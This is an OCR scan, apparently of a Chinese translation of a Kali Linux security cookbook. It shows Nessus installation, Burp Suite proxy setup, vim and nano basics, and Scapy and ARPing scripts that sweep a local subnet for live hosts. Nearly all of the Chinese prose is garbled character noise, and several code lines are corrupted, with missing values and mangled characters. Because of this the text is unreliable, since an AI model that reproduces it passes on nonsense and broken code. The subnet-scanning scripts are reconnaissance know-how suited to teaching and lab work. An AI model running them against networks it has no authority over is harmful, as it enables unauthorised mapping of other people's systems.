Would you like to salg this file?

Cancel | Save File

ERBEGTH T ROCBERERFORAZRE T o THRE R UG AT TR
ZF o X VAAE SSH RBL AN g @ Loy &8 AT 7] 7 X2 ¢



root@kali:~# 1s

Desktop Nessus-5.2.6-debian6_1i386.deb

root@kali:~# dpkg -i Nessus-5.2.6-debian6_1386.deb
Selecting previously unselected package nessus.
(Reading database ... 231224 files and directories currently ins
talled.)

Unpacking nessus

(from Nessus-5.2.6-debian6_1i386.deb)

Setting up nessus (5.2.6)

nessusd (Nessus) 5.2.6 [build N25116] for Linux
Copyright (C) 1998 - 2014 Tenable Network Security, Inc

Processing the Nessus plugins... [#######HH#HBHHHRHHAHHHBHHARHHTRH
HHHBH B H B H R R

All plugins loaded

- You can start nessusd by typing /etc/init.d/nessusd start
- Then go to https://kali:8834/ to configure your scanner

root@kali:~# /etc/init.d/nessusd start
$Starting Nessus

1R 1s FLBREREORZGELSTMAZTF « RR%RAERARTERE - KRBT
At FlDebianfk #F L5 E ( dpkg ) TEREMRSE o -i 2 REHRKHBEFE
RREREGRME o REZRE » TE A4

4~ /etc/init.d/nessusd start B #HA % o Nessus 4 MWebStd@ 4T » T KA
JNHEAEALE 324015 9] o 4o RAR M Kali & 4% FNessus » T A E M &3] i 855
F]€ : https://127.0.0.1:8834/ ° HF » AR il dWebi| % 2 1% I Kali
Linux & #AALAg IP3AE N T A2 A 4 (Jm EMRIE A L) I E o EREG T T -
JN EAIRAE & %1% FINessusR %897 2 URLA https://172.16.36.244:8834

% This Connection is Untrusted

ﬂ You have asked Firefox to connect securely to 172.16.36.244:8834, but we can't confirm
that your connection i5 secure,

Normally, when you try to connect securely, sites will present trusted identification to prove
that you are going to the right place. However, this site’s identity can't be verified.

What Should | Do?

If you usuvally connect to this site without problems, this error could mean that someone is
trying to impersonate the site, and you shouldn't continue,

Get me out of here!
Technical Details

| Understand the Risks

KN RT > Nessus/h %1% Ml B 2 4 SSLE 4 o FH ARG I B T 245 4 09 35 453
o MTRAFERFAENB A » ARTIALRILELF 44 o XTI R
& I Understand the Risks &k T 4o AT SR E P



| Understand the Risks

If you understand what's going on, you can tell Firefox to start trusting this site's
identification. Even if you trust the site, this error could mean that someone is

tampering with your connection.

Don't add an exception unless you know there's a good reason why this site doesn't use
trusted identification.

Add Exception...

BARRI T At o AR IAE FH Add Exception %42 o X & FFIEA R Z R F
BB % Bt AR ob IR AL B Sb B & o IR S AR A BN G o ARG F Bl R o IR
¥ 5 A& Get Started %42 o XAWKHRFIUTHRRE :

Initial Account Setup

First, we need to create an admin user for the scanner. This user will
have administrative contral on the scanner; the admin has the ability to
create/delete users, stop ongoing scans, and change the scanner
configuration.
Login: hutch
Password: ssssssss

Confirm Password: sesssses

= Prev Mext =

LRBFECRE—ARELZETERGA P IR Fo X R o XEFEELHATHEZA
1% FINessus/R % o MAFEG A P LA B G » B & Next 4 4:; RAFE AT A
E-

Plugin Feed Registration

As information about new vulnerabilities is discovered and released
into the public domain, Tenable's research staff designs programs
("plugins") that enable Nessus to detect their presence. The plugins
contain vulnerability information, the algorithm to test for the presence
of the security issue, and a set of remediation actions. Enler your
Activation Code below to subscribe to a "Plugin Feed".

Please enter your
Activation Code:

KRG s REZMABERE o do RARBF BIER > 55 WAL REERZHRY o
W MANRER G > RAREEERR @ HAERMAMRG A P LA g/ o b
2 IRERMAEZE IR TR ENGME KB o AT AZJE R FJURLE

Nessus & /e 3% 69 IG5 :



{9 Nessus

nome

hutch

Ramember Me

IAEJR 32

FHREEE s TUNIIAGIRET B Webil % 89 BT A JE B L% FINessus
izt F o ZER ﬁNessus}]ﬁ“;}ﬁ - £ TCPs#% v 8834 L » 7 L A= A KAk
EMALMAALTABRAFIPER FOMEHED -

1.10 2 Kali L& Z Burp Suite

Burp Suite Proxy-Z 3 ﬂv’vé&kéﬁ Web 2 A& FFHILALZ— o 2% ERZ2—A
TR MM E R KRB FHG T o KA M/ﬁﬁ*fiBurp Suite & f 42 /7248 % Web #|
WRPHERE » UHRFNERES EMZ & LA o

%

# Kali Linux ¥ & X & 3 Burp Suite =% Z#IEMFH o 2 mRE—IMERLE
COLBRET o R R FtBEFERAEZLRA > TIL

J£ https: //pro portswigger.net/buy/ 5W:k1#'T1E o PRI EAR AR E 0 2T
I A REIETAEAF o K> RRRIBAREFTAR » FEARA P R FREX S &M

S RE o

BAE T’

Burp Suite £—AMGUI T & » FR7 AN 2 @A AEST o Hk > Burp Suite
43834 SSH 12 « & Kali Linux % 4 @ 5 i 3 5 Burp Suite © & T 1A

/£ Applications 3% ¥ |

i Applications | Kali Linux | Top 10 Security Tools | burpsuite -

RE > ART VAR LG L4525 bash &% P8y Java B R RMATE > 2 TH = :

root@kali:~# java -jar /usr/bin/burpsuite.jar



Hm# Burp Suite & » HAKRRER T RLTEHRS » A5 LiziT o
R RH1E ] TCP 3% 2 8080 » &A1 T AT 4% Proxy ®AF » AB®EFT
@ Options ®AFRBIERERE » ol THEHE T

[Tarqd: Tf&mT Spider T Scannan Irtrud-rT Repaater T Sequ.m:u-T Damdar]

[ intercept | History | options |

sz) Proxy Listeners

@} Burp Proxy uses listeners to receive incoming HTTP requasts from your browsar, vt
ks proxy server.

t Add | i Bunning | Interface | Invisible | Redirect
@ 127.0.0.1:8080 O
l Edit
Remove

BERXE S REEITARER TR L o R Jx;ﬁ ’ iﬁ N —As o 5 Kali
Linux ‘1’6’7 lceWeasel Web #| % &5 —AeiE Bl » F3% Wof S B E A M

9T 127.0.0.1 i&iﬂ:,l:éﬁﬁ%/t%ﬂ o gbsh s mﬁﬁﬁ%wﬁ% Running £ i&4E o f£Burp
Swte PERERTREZ)G 0 T FZ5K lIceWeasel @] | & f B kil K3 LA

T o At FATERFERMIAE weasel globe BAriTHF IceWeasel » 477

J& » It Edit T4i% % > RBE £ & Preferences UHRBATHREARA :

lceweasel Preferences = e

il 3 =k & w & O
General Tabs Content Applications Privecy Security Sync [JETEGN

——

General MNetwork | Update Encryption

Connection

Configure how Iceweasel connects to the Internet S.._umg:;_
1

Cached Web Content
Your web content cache is currently using 63.0 KB of disk space Clear Now

Override automatic cache management

# IceWeasel B %A XL » £ HMARE 5% Advanced &Mix4e > ARG ik
# Network #FF o R » £&H Connection 1A T8 Settings %48 o X%
iTJF Connection Settings B E X ¥ > WA TAFRBREF ¢



Connection Settings
Configure Proxies to Access the Internet
' No proxy
' Auto-detect proxy settings for this network
L) Use system proxy settings
‘® Manual proxy configuration:
MTTP Proxy: | 127.0.0.1 | port: | 8080 |7

I Use this proxy server for all protocols

KINERT » RIELHI48%E A Use system proxy settings (4£/ & %X
Mg E) o XEFERZEMKXA Manual proxy configuration (FsHXREERE) o
F#HREEE L Burp Suite KEUFSEEAE o EATREG RGP > HTTP K
WHHEEH 127.0.0.1 ° HO4E%E A TCP 8080. L A AE (do
HTTPS) : 5% # Use this proxy server for all protocols (4 FTH it
BRARARERSR) BRE o ERIE—WAETEF I #2848 A IceWeasel
R R RA WM A T RESBE T

File Edit View History Bookmarks Tools Help

| (3 Connecting... |5
|

vww packtpub.com

B Most Visitedv ] Offensive Security "\, Kali Linux

b RARM B EEH > BERAHRNE B EREE > ERAEAMAERENEZ T L
oo AR AN K B KRG ERBAREELR o REEE A Burp Suite F14£ 49
KINBCE o RAINFHRTARD MR > HES Burp Suite RIELHFE T > 4o B FT 7 -

Regquast to http:jwew packtpub. corrcB0 (83166 169 231]

[ Formard 1| Drop | mhm | Action (

Iimlum-'l Hox |

GET /| HTTP/1.1

Host: www. packtpub.com

User-Agent: Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0 Iceweasel/18.0.1
Accept: text/html.application/xhtml+xml.applicationfxml.q=0.9, */*:q=0.8

Accept-Language: en-US.en;q=0.5

Accept-Encoding: gzip. deflate

Connection: keep-alve

ARXE o R GARMRGER o BRI ESAT LR ARTLERER
BB AEAWSH BT » RE AE Intercept is on (EHARB) AR TUAKLE
R o BAEARTT MR KB Py RIERE F K

© Use system proxy settings (M ALRE R E®LR) » £ Burp 1L
%iﬁ’fk:iﬁz'l}tx,_ ©




TR

4£ Burp Suite F 1% A é’ym%@a%ﬁ TCP 8080 LAl T —AMR9UsHm o Z%imud
Burp Suite A T8 A Web iR Z » il divA R BEGAEAE o BIH
IlceWeasel Web #| % & é’J RILEE 4G bss o > RATIER] W & P 4 sy ﬁﬁ?ﬁm‘bz%’l&
i 1d Burp Suite RIE# 478 & o d1-T Burp #6958 » RATIA T A &5 2GR
T RE o

111 &£ AL K%4E X (VIM # Nano)

IARBERLEZT m*ﬁ%&%&x#%i¢%%ﬁi# R BL % JAEAT Bt 4 A
T ABBREAE Kali PAIZA T UHA E&ﬁﬂﬂ%&fﬂ TR BI5 e
E A SRAA HEMNRLL o

A%

f& KaliLinux P& A X RK%mHE R T LZ A » & ERATEET FE o VIMF=Nano#k &
BERILEL OB REAERERSET -

B B

A T4 Kali P8 VIM TARB RN ZH » FHEF vim o4 0 & A 282 X
% P8 LA 4 AR

root@kali:~# vim vim_demo. txt

AEREGTEF > VIM ATAIZEELA vim_demo.txt X o T HarAA L
AZLRGETEHAEZE »VIM A FHQE—ANFHIHFITA—NEIARRES -
AT HBERBRPIMALA 53 I K Insert 42 RiE > 'H‘ﬁ‘ffu)\ﬁ}?%‘éﬁ
TR e AR :

Write to file demonstration with VIM

ERBEG T > AF—FRMB AL 22 ERZHFLT » £0lE#H T
PREE > ARTEEAE R 54T o ARG » & Esc B BIBEAE XL VIM F 3 oS4
N RE 4N :wq H4% Enter #%EG o KB » RTUEA AT bash 445
WX EEBAEFBELHFYGAZE



root@kali:~# 1s

Desktop vim_demo. txt

root@kali:~# cat vim_demo.txt

Write to file demonstration with VIM

1s ATURARERE LA FHART o £ZXE > RTAAF P vim_demo.txt X
HEEE o cat ¥4 TH TR TR E o 7T 248 A 85X LK%
% & Nano > Nano A KA X5 VIM EFAM o A T A4 > 548 nano 4
A BB A B8 A A L AR

root@kali:~# nano nano_demo. txt

ARBEGTHIF > nano A TATH L4 nano_demo.txt 89X o T LA R4
BB BLMRE A RFQNE—DH L o 5 VIM TR » LK LRGeS F
BAREN o R EAXIHTAAFH T SRR ctrl 4fdF o) F4¢
RPATA A o IS T R T L 5 A% B R @0 RN E ]

GNU nano 2.2.6 File: nano_demo. txt
Write to file demonstration with Nano

RS 7B & nano_demo.txt XHFEANT —47 XHARES » T4k
A ctrl + X * RABARFTEEN vy REXHRMEA n TREXHF - 2442
RARBINE BN L o KINVFEILT » 24 Nano #ATEH R B89 L ARME R o
182 s TUE A » AR XHBAEZBEATRAGL » o TH = :

root@kali:~# 1s

Desktop nano_demo.txt vim_demo.txt
root@kali:~# cat nano_demo.txt

Write to file demonstration with Nano

— B TR TAFRIEA 1s 2 cat FAERBUEIHFLZEEANE F o H 455 %x
T AR o IAREG B LT BENZRRERORAREN KRR BFERUL
o RmBizd  TRMIFFTRROLREES  ARELBATIHREBGS
o AALMZKMEL4ZE > HEH man F4FRTMR » G@F AT LA
BRGLAR -

IAERE

IARBERTLEGLITRAGFHLELL o KXETAEFGEHENRLATA 40X
HRET AL T AR B R @ m 4T o b TRAMEMAEN A4 > ZLTEFRE
WOrag R4 > R EAR o Bb o fNT14895 3 F A BOF BRSO 0 R R AR
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Y4 : Justin Hutchens
CE Y
1L : CC BY-NC-SA 4.0

2.1 1% )1 Scapy K& % =2

Scapy £—MERKGRXELTE > THATHRK » 247 BELZQERWEETGH L
RE o RBIEANB| M T o Scapy ¥.2—/7T AL Python FAL A 89 & » w24t
QN Z AR » RPATR B A TR E ARG R o AT OREFET T ofT
1% F Scapy #AT ARP X #L » VA B 4e {74 1P ython #= Scapy & &My Ak 1L % =
BRI TA o

&

4% Bl Scapy #47 ARP X3 » R & &£ LAN LE F A — 4k m ARP % K69 &
Y% o R4 THI4EA Linux F2 Windows A 4894846 o A XA RKERINE T X E
RO EZZ8 HAME—FA TR E Metasploitable2” % X Windows
Server'#:4 o

st AV HEMRALKAREE (3 VIM K Nano) #WABAIHAL « A %%
EMANE 5458 HANS—FEATF RN ABBEE (VIM A Nano) "#

xkE

Ao ©

B B

AT T AR ARP ZIL05 TAERIT » KAVE M Scapy k& B & LEIE L AR
1AE4%5 4% A ARP 125 LAN L85 AL o 4 Kali Linux ¥ /F41% Al Scapy » # M4
SN scapy W4 o KRG RITMER display() REATHHXEEE
Scapy ¥ &l 89{E4T ARP *f £ 69 KikE &


https://github.com/
http://creativecommons.org/licenses/by-nc-sa/4.0/

root@KalilLinux:~# scapy Welcome to Scapy (2.2.0)
>>> ARP().display()
#it#[ ARP | ###
hwtype= 0x1
ptype= 0x800
hwlen= 6
plen= 4
op= who-has
hwsrc= 00:0c:29:fd:01:05
psrc= 172.16.36.232
hwdst= 00:00:00:00:00:00
pdst= 0.0.0.0

7 E R 0 IP f2 MAC R 3E4R & B 3h B B A 5 24T Scapy #9 I huta X 6948 o R 3k
7% BRI 0 T W] 2FTAEAT Scapy *F F KT R ol £ AL AE o ARP 89 KA
BB E HEEA who-has » R O H TR IP A MAC %5 o f Lt
BT » &NEEREGE—EZLH IR P A o Ak > ZA0TT A ARP &3k 4]
NG BERLE—NTE TEHLARLILNE (EREHTBF - EAT
T LAk arp_request ) ° AA FT@égasd .

>>> arp_request = ARP()
>>> arp_request.pdst = "172.16.36.135"
>>> arp_request.display()
###[ ARP ###

hwtype= 0x1

ptype= 0x800

hwlen= 6

plen= 4

op= who-has

hwsrc= 00:0c:29:65:fc:d2

psrc= 172.16.36.132

hwdst= 00:00:00:00:00:00

pdst= 172.16.36.135

& > display() SHETALHCIZN ARP =t Z EAM > kB Ef EMEAST
Fd o TG FHEAEEHINEMEG TG EHTHEAA L B AR IP 3k o
KRG sri() [ETUARTREFRFEEFH— Ak



>>> srl(arp_request)
Begin emission:

Finished to send 1 packets.

Received 39 packets, got 1 answers, remaining O packets

<ARP hwtype=0x1 ptype=0x800 hwlen=6 plen=4 op=is-at hwsrc=00:0c
:29:3d:84:32 psrc=172.16.36.135 hwdst=00:0c:29:65:fc:d2 pdst=172
.16.36.132 |<Padding load='\x00\x00\x00\x00\x00\x00\x00\x00\x00
\ X00\X00\X00\X00\X00\X00\X00\Xx00\x00" |>>

HA o TR B R R B A AR T 0 RAAT
R AL S > o SUT 44 AT o 30T VA bl ) R o 280 % B 89341 » 36 BLIE T L
ERITREF R AEAES

>>> sr1(ARP(pdst="172.16.36.135"))
Begin emission: ..........iiiiiiii i
Finished to send 1 packets.

Received 26 packets, got 1 answers, remaining O packets

<ARP hwtype=0x1 ptype=0x800 hwlen=6 plen=4 op=is-at hwsrc=00:0c
:129:3d:84:32 psrc=172.16.36.135 hwdst=00:0c:29:65:fc:d2 pdst=172
.16.36.132 |<Padding load='\x00\x00\x00\x00\x00\x00\x00\x00\x00
\ X00\X00\X00\X00\X00\X00\X00\Xx00\x00" |>>

EE o ERBERGE - 0 REm R 0 172.16.36.135 ) IP diakéy
MAC 363k 00:0C:29:3D:84:32 © WwRPATHEFGES » 2L B AR IP ik
R 52 G RS P 4 8 6 3h AL+ B R A EEATR R 0 I B AE B R 4k 4
I ARMIED EEN RS o

R VAL ctrl + ¢ AT IEZRE o K& > RTUFFE—A timeout HFk
B F3LF AR o % Scapy 4P ython By A iz A et » B ey K THEXTR -
FAF FIABRTY o 2 6 R R AR — AW A gk 0 A8 R F A R R 894 4K

>>> arp_request.pdst = "172.16.36.134"
>>> srl(arp_request, timeout=1)
Begin emission:

Received 3285 packets, got O answers, remaining 1 packets
>>>



WidAE AR ThEE » REP| AR IMFE LG AIR TR EZERE » #5TH
RE QN A o b s L REF] s AL AR A T 2 0 F AT A R T
& X} el 2 AT S 4R 4L 3R

>>> response = srl(arp_request, timeout=1)
Begin emission:

Finished to send 1 packets.

Received 37 packets, got 1 answers, remaining O packets
>>> response.display()
#Hit#[ ARP | ###

hwtype= 0x1

ptype= 0x800

hwlen= 6

plen= 4

op= is-at

hwsrc= 00:0c:29:3d:84:32

psrc= 172.16.36.135

hwdst= 00:0c:29:65:fc:d2

pdst= 172.16.36.132
###[ Padding ]###

load= '"\x00\x00\x00\X00\X00\X00\X00\X00\Xx00\Xx00\Xx00\x00\Xx00

\X00\Xx00\ x00\x00\x00'

Scapy T VAR AE Python B K155 F 895 o X VAT & 3K A 3 AT Scapy F it
T8y TARMES o Python #= Scapy =T AR T8 3R#  AHF M 7 69 84~ 7T 48 69 AL
W3 0 F AT & % ARP 3 R o T @8R AT M T ALK 555 b
PATH =2 R



#1/usr/bin/python

import logging

import subprocess
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *

if len(sys.argv) !=

print "Usage - ./arp_disc.py [interface]"

print "Example - ./arp_disc.py eth@"

print "Example will perform an ARP scan of the local subnet
to which eth® is assigned"

sys.exit()

interface = str(sys.argv[1l])

ip = subprocess.check_output("ifconfig " + interface + " | grep
'"inet addr' | cut -d ':' -f 2 | cut -d ' ' -f 1", shell=True).st
rip()

prefix = ip.split('."'")[0] + '.' + ip.split('.")[1] + "." + ip.sp

lit('.")[2] + .

for addr in range(0, ):
answer=sr1(ARP(pdst=prefix+str(addr)), timeout=1, verbose=0)

if answer == None:
pass
else:
print prefix+str(addr)

B K89 % —AT47 12 T Python f#4F B PTE 6945 B » VR KT VAL 4% 3% ) A 55

By LT AT o ARG B A5 APTA Scapy &3k » # € 3L Scapy B &K% F] > v
HIRB AT Rob oGt o ZFANT FEIARE > AETUALAR FRIEEE o

B ARA IR A FENR > AT IRELEOMARBET TGS E o wREMTH
AAREFTE 550 M A B R E LG o %L e T A6 A% » =6
Fo BT PATAE % 69 SR A o

BRI IRZ G » H—/3 e R AITIGPT IR 8 2 FREL interface &
® o T—/RAAL A check_output() F#AEXEMAT ifconfig AL AA »
%A FAAER grep F7 cut MAVEA SRR RIFE ORI IP 33k - RNk
HRA ip TE o RBEA split RFUA P HAEFHF & PRI / 24 MA&H
%oflde s R ip TEEE 192.168.11.4 F/H B > M4EH 192.168.11 ° €
KM% prefix BE o e — MBI E N THATER2HE for MAIR o
for a3 MmA-T 0 F» 254 Z R 89 PT A 4E » 3 B THRENK » HALRE S f e 3]
W &R R G B o 2T RARBEEG B8 F 0 g4t
2t 192.168.11.0 #» 192.168.11.254 Z A &4/ [P 3it)S #6 ARP % K - K&
stTHEADE G EH T > B a6 P ibdT e B AR E > LR E4E LAN £
EH o —EBABMEARIE F o ART AL LR AR 675 A A o KRB E T AT
B AR ZARRPATE o AA AT A TIHATH R BG4 4



root@KaliLinux:~# ./arp_disc.py

Usage - ./arp_disc.py [interface]

Example - ./arp_disc.py ethO

Example will perform an ARP scan of the local subnet to which et
he is assigned

o R B R A F LT AT R » W% AELm B2 A%k o RAEm
EEAARMREEZ N2 ZHART L EE RPN ERATRERE o £VAT =5
¥ oo {E ] ethe HE O PATH A :

root@KaliLinux:~# ./arp_disc.py eth0
172.16.36.1

172.16.36.2

172.16.36.132

172.16.36.135

172.16.36.254

— BT B ARG A R R FE O R TF M 2T EAT ARP 4248 0 REAR
Bk B PG EAEA D P EFHNT] & o b > Wireshark =T VA ] i i&
17 0 BB R IEfe BAT R R LT3R 5 T &5 A3k 6915 K » AR E 5 E AT
MR EIER s WA T RERB AT

Broadcast ARP 42 who has 172.16.36.17 Tell 172.16.36.67
Vmware fd:01:05 ARP B0 172.16.36.1 is at 00:50:56:c0:00:08
Broadcast ARP 42 who has 172.16.36.27 Tell 172.16.36.67
Vmware_fd:01:05 ARP 60 172.16.36.2 1s at 00:50:56:ff:2a:8e

eI RAVT A AR A e 5h E X @ B LA » RET AR TG 0547 -
IO REST EE @ 0 BRIALH LR o — Ml T4TF

root@KalilLinux:~# ./arp_disc.py eth® > output.txt
root@KalilLinux:~# 1ls output.txt

output.txt

root@KalilLinux:~# cat output.txt

172.16.36.1

172.16.36.2

172.16.36.132

172.16.36.135

172.16.36.254

—EmE TR MBI RTUMER 1s AR REIH LT TCEALHLSL
RAETAIER cat T4 EA LG AR o SLB RIE T ARSI > X3t TA
A F aE0 K% P it ARPH K - Atk RIa TR E—NRNAZ
AReg P XAER] & o At T EH Nano & VIM X A%ES o A TikEM A



BN Ee » H B AT R I — R IEFh Mt o VABAL T Rt AR & T AHLEG AR R
TR A fl’]"%ﬁ-ﬁ'&l‘:ﬁﬁk WAFGHIE o 4 T 4 VIM 2 Nano P el & A LHF > 151E
R V/(’F"F T2

root@KaliLinux:~# vim iplist.txt
root@KalilLinux:~# nano iplist.txt

BIEMATIHSE » TU4EA cat AR IEEAE o BEXHCEHNE » Rk
SFIURELRREE PHRAL IP Rk F| &

root@KalilLinux:~# cat iplist.txt
172.16.36.1

172.16.36.2

172.16.36.232

172.16.36.135

172.16.36.180

172.16.36.203

172.16.36.205

172.16.36.254

A TRE—NBEZLARTEA AR > BNTAMER E—ANE D oA
B s RAE—ANFHEOMALH o AT ARG APAEFZA P A7) A > &K
1% &4 Python ¥ #AT— & UL o TAER ARG T4 THT & :

#!1/usr/bin/python

import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *

if len(sys.argv) !=

print "Usage - ./arp_disc.py [filename]"

print "Example - ./arp_disc.py iplist.txt"

print "Example will perform an ARP scan of the IP addresses
listed in iplist.txt"

sys.exit()

filename = str(sys.argv[1])
file = open(filename, 'r')

for addr in file:
answer = sr1(ARP(pdst=addr.strip()), timeout=1,verbose=0)
if answer == None:
pass
else:
print addr.strip()



XA A Fe VAR R R 4B 3138 3 42 5 D) 6 e A o — 89 HOE R B]5E 0 Al — AR
A file W F5E interface 89 Z & o ARJE1EH open() HiZk » 3L &M A6948
Fl B %CF’%Tﬂ' iplist.txt X REIZEA R o r fAAAFE S JFCRIE 2 A
B9 g5 18] o for PAIRR LB P I EAEEAN IP At KRB @R ARP 7 4
1WMMP%ﬁo%W$Waa5ﬁ@ﬁ%%ﬁﬂﬁﬂ&ﬁ

root@KalilLinux:~# ./arp_disc.py

Usage - ./arp_disc.py [filename]

Example - ./arp_disc.py iplist.txt

Example will perform an ARP scan of the IP addresses listed in i
plist.txt

o R B R ARG F LT RATE AR » WG A AME R R - ERAF
B AW s W AT Z— N5 AT L2/ P #akegimAd| & o £
TRBlE o A& APATE F P iplist.txt THFHATH AR :

root@KalilLinux:~# ./arp_disc.py iplist.txt
172.16.36.2

172.16.36.1

172.16.36.132

172.16.36.135

172.16.36.254

— BT ARA S B AHE P IP M » FHA R ARPHRAE - X
Wik F 89— /AR A LAN L9 Esh R4 o A S A @idie 6948 B 6977 X 0 skl
AKOMBETUAR TR G — DU A R1EFT BRI B THGITE LR :

root@KalilLinux:~# ./arp_disc.py iplist.txt > output.txt
root@KalilLinux:~# 1ls output.txt

output.txt

root@KalilLinux:~# cat output.txt

172.16.36.2

172.16.36.1

172.16.36.132

172.16.36.135

172.16.36.254

—ENHEELGREE S RTMER 1s AR IEIHZETLEALH A
%0 RAETVUMER cat 94EFEIHHARE -

TAERE

WA sr1() (REFE/FEWEA) HhEk > TrlE Scapy Fi#4T ARP R o 3t
KENGRBEGHSZ T LNEKIBE > REFABKEAN AL o EZAFILT » KA
F#TEMNARP#H R FERIG RS o Scapy & T A L K42 5 & &3]



BpRE o FTAMK S NEG o

2.2 ¥ F ARPing & % % =2

ARPing A& — NSt ME TR » BAEZMTH AL ping TRAEGA o kT AT
WEREZ P HAAEA AR R RHNEHEINAGZTLEIPOARMMEG L o X
AL FE A5 o 48 A ARPING 42 8 M % & 84 76 3h A0 o

&

24% F1 ARPing 4T ARP &3 » 1R & &£ LAN LE F A —/rm ARP % K8
A% o RS FHIEA Linux 72 Windows A M8 4 o A X AT HINE P&
BARNE 138 A5 W H—FAF LK Metasploitable2” 2“2 % Windows
Server'#b% o

W AT ERMSEALARER (2 VIM & Nano) W ABAIHESL - A X%
EMAGE SR HFHAAS—FAITHCHATRAEES (VIM F Nano) "#b

x5

Ha ©

B B

ARPingA—# L& » T H T X & ARP & KRR IMNEEEFHFm A o 1%L AR
WA P IAE A S A H L E KRR

root@KalilLinux:~# arping 172.16.36.135 -c 1

ARPING 172.16.36.135

60 bytes from 00:0c:29:3d:84:32 (172.16.36.135): index=0 time=24
9.000 usec

--- 172.16.36.135 statistics --

1 packets transmitted, 1 packets received, 0% unanswered (0 ex
tra)

LR =B P » £/~ ARP F R K £ 4 #FHit » 5K 172.16.36.135 |IP
MO EALE o w7~ > ZHUIA 00:0C:29:3D:84: 32 MACHLALEIL
BlEARE o WTAETUEAIA TE=F LK » 32T 51 R bash By A
%A ER I ATIARYE o A T MK bash P EHEAZH 89h 2 » RAVE ZH T
P A E—FFE o BARIRTESH I 2R EIE R LR v R o
LR E—FHE o mmat K6 IP Hikit 4T ARPing R ¢



root@KalilLinux:~# arping 172.16.36.136 -c 1
ARPING 172.16.36.136

--- 172.16.36.136 statistics --
1 packets transmitted, O packets received, 100% unanswered (0 ex
tra)

WA PM KB DA LM ARE ARP vA L » ART 462 &3] » o B G E TR P
WohL 84 X E S A B EAE GAE IPIILGITR » Mea g F 5 E X8 FTH
BAgE—FF o i At heh B IAT grep 0 KAV ARBEE AR 2 ZALE P 3
At

root@KaliLinux:~# arping -c 1 172.16.36.135 | grep "bytes from"
60 bytes from 00:0c:29:3d:84:32 (172.16.36.135): index=0 time=10

.000 usec
root@KaliLinux:~# arping -c 1 172.16.36.135 | grep "bytes from"
| cut -d " " -f 4

00:0c:29:3d:84:32

HATT A A T LIRS cut R RS AL » WA F 55 & P42
AN AR P Huhk :

root@KaliLinux:~# arping -c 1 172.16.36.135 | grep "bytes from"
60 bytes from 00:0c:29:3d:84:32 (172.16.36.135): index=0 time=32
8.000 usec

root@KalilLinux:~# arping -c 1 172.16.36.135 | grep "bytes from"

| cut -d " " -f 5 (172.16.36.135):

root@KalilLinux:~# arping -c 1 172.16.36.135 | grep "bytes from"
| cut -d " " -f5 | cut -d "(" -f 2 172.16.36.135):
root@KalilLinux:~# arping -c 1 172.16.36.135 | grep "bytes from"
| cut -d " " -f5 | cut -d "(" -f 2] cut -d")" -f1

172.16.36.135

A£ IR H] 4= 4T MOE @ ARPIng A 323 P £ bash By R 42 5 3§ % AE %1538 451
IR s at P A & o 48 R S KA M K6 B e T AT



#!/bin/bash

if [ "$#" -ne 1 ]; then

"Usage - ./arping.sh [interface]"

"Example - ./arping.sh etho"

"Example will perform an ARP scan of the local subnet t
0 which eth® is assigned"

fi

interface=%$1
prefix=$(ifconfig $interface | grep 'inet addr' |

cut -d ':' -f2 | cut -d" ' -f1 ] cut -d "." -f 1-3)
for addr in $(seq 1 254); do
arping -c 1 $prefix.$addr | grep "bytes from" | cut -d " " -f
5 | Cut —d ”(” —f 2 | Cut _d Il)n —f 1 &
done
J S—

AR bash B AT » B —4T77F LT bash @B R 4L E o T k69 KA 3k AT
MK > AT LGRET ALK LAIFHEREOAPGFZELEREFT 1
KT o W RARBEIMIAL > MR R X FHLBEBRK - ALk
B s P RTINS AR O G ARAE A S gk o T — ARG B AR A 69 S R

% interface T ¥ o XG0 {AiR1E% ifconfig » ARB4E M i IR M &3]
oo Blde > W RREEGIFE 06 P HhEZ 192.168.11.4 0 MATE T €45 K

A 192.168.11 ° KGR for BRI RE—NF VA > RERM / 24 W
%k AT AL IP Hdk o st T AT 4869 IP 3ak » 47 £ A4 arping 44 o
KRG st F Ak Regeh @ Bl ATE% 0 REMER grep RkRBF AL

& bytes #9417 o e ATATiE » XA LRI EEE 3 A IP HALEG4T - JF > 1A
— A 7] cut HE M E PRIIP Mt o 52 &E 0 £ for BIMES G REAE

Bl & &% MTAAST o FHEAFHFATHATIES » @ FZRNF AT - TR K3
B Tia# PGB ENE - FATEYFASE

root@KalilLinux:~# ./arping.sh

Usage - ./arping.sh [interface]

Example - ./arping.sh ethO

Example will perform an ARP scan of the local subnet to which et
he is assigned

root@KalilLinux:~# ./arping.sh etho
172.16.36.1

172.16.36.2

172.16.36.132

172.16.36.135

172.16.36.254



TSR AR A E R @B RS 0 R R TG QIH o TR RES
TRl > BRIAIFHLIR o — M FTh T

root@KaliLinux:~# ./arping.sh eth® > output.txt
root@KaliLinux:~# 1ls output.txt

output.txt

root@KalilLinux:~# cat output.txt

172.16.36.1

172.16.36.2

172.16.36.132

172.16.36.135

172.16.36.254

— OB ER SR MU AR T MR 1s AR IEIH AT T EALF A
%o RATAER cat L EF XM AZE o LBy A T VU5 24 s A SUH 4
B FRIETESLTAF 5| B EMAGL TEHRSE o S TATH A FFZAA
IP 363k 3] & A9 3 AU o Aok > RATT g A 5 L —ANBb4E F 1446 89 Scapy A&
A% ) 8948 ] 89 S A SUAF

#!/bin/bash
if [ "$#" -ne 1 ]; then

"Usage - ./arping.sh [input file]"

"Example - ./arping.sh iplist.txt"

"Example will perform an ARP scan of all IP addresses d
efined in iplist.txt"

fi
file=%1
for addr in $(cat $file); do
arping -c 1 $addr | grep "bytes from" | cut -d " " -f 5 | cu
t -d"(" -f2 | cut -d")" -f1&
done

BABp RS f — AR ARE— 0 TR > HARARB— AN L > FE L AT
AR REMAT R E o0 INFRBERZEIHTE o KRG for BIFAT
P IR 7 L SAF 8 AMME 0 kAT ARPINg £ % o A T H#ATHI A > 5 8] 5 4=
FAr o JB IR AT A9 8 AR



root@KaliLinux:~# ./arping.sh

Usage - ./arping.sh [input file]

Example - ./arping.sh iplist.txt

Example will perform an ARP scan of all IP addresses defined in
iplist.txt

root@KaliLinux:~# ./arping.sh iplist.txt
172.16.36.1

172.16.36.2

172.16.36.132

172.16.36.135

172.16.36.254

B BA RBEEMALZGF LT RATH ARG R @ R R % - bR ZkAT o mR4EH
Ax#ﬁﬁﬁﬁo%&ﬁmﬁfhhHW$ %M%A%P%ﬁ@ik@%ﬁm
